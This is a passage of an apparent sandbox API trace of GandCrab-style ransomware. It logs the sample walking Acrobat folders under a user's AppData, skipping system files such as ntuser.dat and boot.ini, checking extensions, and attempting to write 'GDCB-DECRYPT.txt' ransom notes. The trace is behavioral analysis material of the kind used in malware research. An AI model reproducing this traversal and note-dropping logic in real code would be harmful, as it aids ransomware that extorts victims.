(lpString1=".", lpString2=".") returned 0 [0135.399] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.400] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.400] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.400] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.400] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.400] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt" [0135.400] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.400] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0135.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0135.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0135.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.400] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.400] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.400] lstrcmpW (lpString1="GlobData", lpString2=".") returned 1 [0135.400] lstrcmpW (lpString1="GlobData", lpString2="..") returned 1 [0135.400] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0135.400] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.400] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0135.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0135.400] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.401] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.401] lstrcmpW (lpString1="GlobSettings", lpString2=".") returned 1 [0135.401] lstrcmpW (lpString1="GlobSettings", lpString2="..") returned 1 [0135.401] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0135.401] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.401] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0135.401] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0135.401] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.401] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.401] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.401] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.401] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0135.401] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0135.401] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0135.401] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0135.401] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.401] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned 64 [0135.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*" [0135.402] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.402] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.402] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.402] lstrcmpW (lpString1="addressbook.acrodata", lpString2=".") returned 1 [0135.402] lstrcmpW (lpString1="addressbook.acrodata", lpString2="..") returned 1 [0135.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0135.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0135.402] lstrcmpW (lpString1=".acrodata", lpString2=".sql") returned -1 [0135.402] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.402] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1 [0135.402] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1 [0135.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0135.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned 72 [0135.402] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.402] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.402] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt" [0135.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0135.402] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.402] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.402] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.402] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.402] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\GDCB-DECRYPT.txt") returned 81 [0135.402] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.403] GetLastError () returned 0x50 [0135.403] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.403] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned 64 [0135.403] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*" [0135.403] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7ac0 [0135.403] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.403] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.403] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.403] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.403] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.403] lstrcmpW (lpString1="addressbook.acrodata", lpString2=".") returned 1 [0135.403] lstrcmpW (lpString1="addressbook.acrodata", lpString2="..") returned 1 [0135.403] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0135.403] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.403] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0135.403] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0135.403] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.403] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.403] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1 [0135.403] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1 [0135.403] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0135.403] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0135.403] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.404] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.404] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.404] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned 73 [0135.404] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*" [0135.404] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c7980 [0135.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.405] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.405] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.405] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.405] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.405] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2=".") returned 1 [0135.405] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="..") returned 1 [0135.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0135.405] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0135.405] lstrcmpW (lpString1=".crl", lpString2=".sql") returned -1 [0135.405] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.405] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2=".") returned 1 [0135.405] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="..") returned 1 [0135.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0135.405] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0135.405] lstrcmpW (lpString1=".crl", lpString2=".sql") returned -1 [0135.405] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.405] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.405] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt" [0135.405] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0135.405] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.405] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.405] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.406] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.406] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\GDCB-DECRYPT.txt") returned 90 [0135.406] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.408] GetLastError () returned 0x50 [0135.408] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned 73 [0135.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*" [0135.408] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7680 [0135.408] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.408] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.409] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.409] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.409] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.409] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2=".") returned 1 [0135.409] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="..") returned 1 [0135.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0135.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.409] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0135.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0135.409] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.409] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.409] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2=".") returned 1 [0135.409] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="..") returned 1 [0135.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0135.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.409] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0135.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0135.409] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.409] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.409] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.409] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") 